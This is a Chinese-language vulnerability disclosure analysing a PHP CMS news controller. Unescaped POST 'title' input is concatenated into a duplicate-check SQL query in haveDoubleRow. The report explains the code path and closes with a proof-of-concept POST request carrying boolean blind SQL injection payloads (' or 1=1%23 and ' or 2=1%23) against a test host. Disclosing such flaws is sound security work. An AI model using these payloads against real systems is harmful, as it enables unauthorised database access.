摘要 路人甲在app/controller/news.class.php中这里程序先做了登陆以及发表文章的权限判断。然后程序执行了表单数据获取操作:$_Obj->create();
漏洞作者:
路人甲
在app/controller/news.class.php中
详细说明:
public function saveOrUpdate() { $this->userIsLogin (); $powerObj = M('power'); $groupObj = M('group'); $fieldObj = M("field"); $_Obj = M($this->objName); $newsObj = M("content"); $msgObj = new Msg(); //栏目发布权限判断 $userGroupId = $powerObj->getUserGroupId(); $groupObj->load($userGroupId); $postCategoryAry = explode(",", $groupObj->post); $_Obj->classid = $_POST['info']['pid']; if (!Authen::isAdmin() && !in_array($_Obj->classid, $postCategoryAry)) { $msgObj->addMsg('error', Config::lang("NOTPOWERADDNEWSTHISCATEGORY")); } //表单数据获取 $_Obj->create(); $newsObj->create(); ..... $_Obj->haveDoubleRow($msgObj,"title", Config::lang("TITLECANNOTDOUBLE"));
这里程序先做了登陆以及发表文章的权限判断。然后程序执行了表单数据获取操作:$_Obj->create();
public function create($datas = '') { $data = array(); $data = $datas; if (empty($data)) { $data = $_POST['info']; } elseif (is_object($data)) { $data = get_object_vars($data); } elseif (!is_array($data)) { $msg = Config::lang("ILLEGALDATA"); exit($msg); } if (empty($_POST['info']) && empty($data)) { return false; } $fieldsType = $this->types; //字段和默认值 $fieldsName = $this->fields; //字段和类型 $formKeyAry = array_keys($data); //post过来的所有$key /* @var $key type */ foreach ($formKeyAry as $key) { if (array_key_exists($key, $this->fields)) { $val = isset($data[$key]) ? $data[$key] : NULL; if (is_scalar($val)) { if (false !== strpos($fieldsType[$key], 'int')) { $val = intval($val); } elseif (false !== strpos($fieldsType[$key], 'float') || false !== strpos($fieldsType[$key], 'double')) { $val = floatval($val); } } if (!is_null($val)) { $this->$key = StringUtil::new_html_special_chars($val); } if (($data[$key] == "" || $data[$key] == NULL || $data[$key] === 0) && $fieldsName[$key] != "") { $this->$key = $fieldsName[$key]; } } } return $this; }
我们发现程序从$_POST['info'] 逐一获取了key/value的值,并最终保存为$this->$key =$value。并且在中间过程中做了html编码,并没有做转义。
继续看之前的方法,程序后来执行了
$_Obj->haveDoubleRow($msgObj,"title", Config::lang("TITLECANNOTDOUBLE"));
public function haveDoubleRow($msgObj,$cloum,$errorMsg) { $sql = "select * from " . $this->table . " where ".$cloum." = '".$this->$cloum."'"; $pri = $this->PRI; $rowNum = empty($this->$pri) ? 1 : 2; $ifExists = $this->ifExists($sql,$rowNum); if ($ifExists) { $msgObj->addMsg('error', $errorMsg); } return $ifExists; }
这里面$column 值就是title,所以$this->$cloum就是$this->title,也就是$_POST[info][title]的值。这样就等于没有进行转义就带入到了sql语句中执行了
此处可以使用boolen型盲注,当sql语句获取到数据的时候会提示title已经存在,利用这个可以很方便的进行sql注入
POC:
http://192.168.152.160/index.php?ac=news_saveOrUpdate POST: info[title]=' or 2>1%23&info[pid]=1&info[photo_s]=234&info[photo]=&info[smallmemo]=23&smallpic=1&smallmemo=1&info[id]=&info[content]=<p>234<br/></p>
当注入info[title]=' or 2=1%23时,会添加成功
当注入info[title]=' or 1=1%23时,会提示标题重复
评论